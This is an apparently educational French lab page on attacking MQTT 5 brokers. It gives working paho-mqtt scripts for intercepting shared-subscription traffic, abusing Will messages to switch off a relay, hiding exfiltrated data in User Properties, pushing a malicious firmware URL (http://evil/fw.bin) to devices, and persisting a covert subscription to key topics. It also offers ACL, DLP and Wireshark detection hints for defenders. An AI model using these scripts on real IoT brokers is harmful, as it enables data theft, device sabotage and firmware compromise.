IoT Attack Surface/ MQTT Broker Takeover: Discovery to Device Control / MQTT 5 Features and Expanded Attack Surface

MQTT 5 Features and Expanded Attack Surface

practical

MQTT 5 Features and Expanded Attack Surface

MQTT 5 a apporté des fonctionnalités attendues mais aussi un terrain de jeu plus large pour un attaquant.

Avertissement légal : laboratoire ou autorisation écrite uniquement.

Vérifier la version supportée

mosquitto_sub -h broker.lab.local -p 1883 -V mqttv5 \
  -t '$SYS/broker/version' -C 1

Shared subscriptions : voler des messages

En MQTT 5, $share/<groupe>/<topic> permet de répartir les messages d'un topic entre plusieurs clients. Le broker route chaque message à un seul abonné du groupe.

import paho.mqtt.client as mqtt

def on_message(client, userdata, msg):
    print(f"[INTERCEPTE] {msg.topic} = {msg.payload!r}")

client = mqtt.Client(protocol=mqtt.MQTTv5)
client.on_message = on_message
client.connect("broker.lab.local", 1883)
client.subscribe("$share/workers/factory/+/orders")
client.loop_forever()

Vous interceptez statistiquement la moitié des messages. Les shared subscriptions ne doivent jamais être laissées sans ACL stricte sur les groupes.

Will Messages enrichis comme canal C2

from paho.mqtt.properties import Properties
from paho.mqtt.packettypes import PacketTypes

will_props = Properties(PacketTypes.WILLMESSAGE)
will_props.WillDelayInterval = 300  # 5 min après déconnexion
will_props.UserProperty = ("cmd", "shutdown")

client = mqtt.Client(protocol=mqtt.MQTTv5)
client.will_set(
    topic="shellies/relay-living/relay/0/command",
    payload="off", qos=1, retain=False,
    properties=will_props,
)
client.connect("broker.lab.local", 1883)
client.loop_start()
# Si vous coupez brutalement, le broker publiera "off" dans 5 min

User Properties : exfiltration discrète

props = Properties(PacketTypes.PUBLISH)
props.UserProperty = [("exfil", "secret_data_here"), ("c2", "stage2")]
client.publish("home/livingroom/temp", payload="22.5", properties=props)

Le message ressemble à une mesure de température. Le payload utile est dans les propriétés. Tout outil de DLP doit parser les User Properties.

Request/Response : pivoter sur d'autres clients

def on_message(client, userdata, msg):
    if msg.properties and hasattr(msg.properties, "ResponseTopic"):
        rt = msg.properties.ResponseTopic
        cd = msg.properties.CorrelationData
        rprops = Properties(PacketTypes.PUBLISH)
        rprops.CorrelationData = cd
        client.publish(rt, payload='{"firmware_url":"http://evil/fw.bin"}',
                       properties=rprops)

client.subscribe("devices/+/config/request")

Un device qui demande sa configuration accepte alors un firmware piégé.

Session Expiry : persistance discrète

cprops = Properties(PacketTypes.CONNECT)
cprops.SessionExpiryInterval = 86400 * 7  # 7 jours

client = mqtt.Client(client_id="legit_looking_id",
                     protocol=mqtt.MQTTv5, clean_session=False)
client.connect("broker.lab.local", 1883, clean_start=False, properties=cprops)
client.subscribe("private/keys/+", qos=1)
client.disconnect()
# Revenez plus tard, tous les messages QoS 1 vous attendent

Filtre Wireshark MQTT 5

mqtt.ver == 5 and mqtt.property
mqtt.willtopic
mqtt.msgtype == 1 and mqtt.proto_name == "MQTT"

Repérez les CONNECT avec Session Expiry > 24h et les souscriptions à $share/....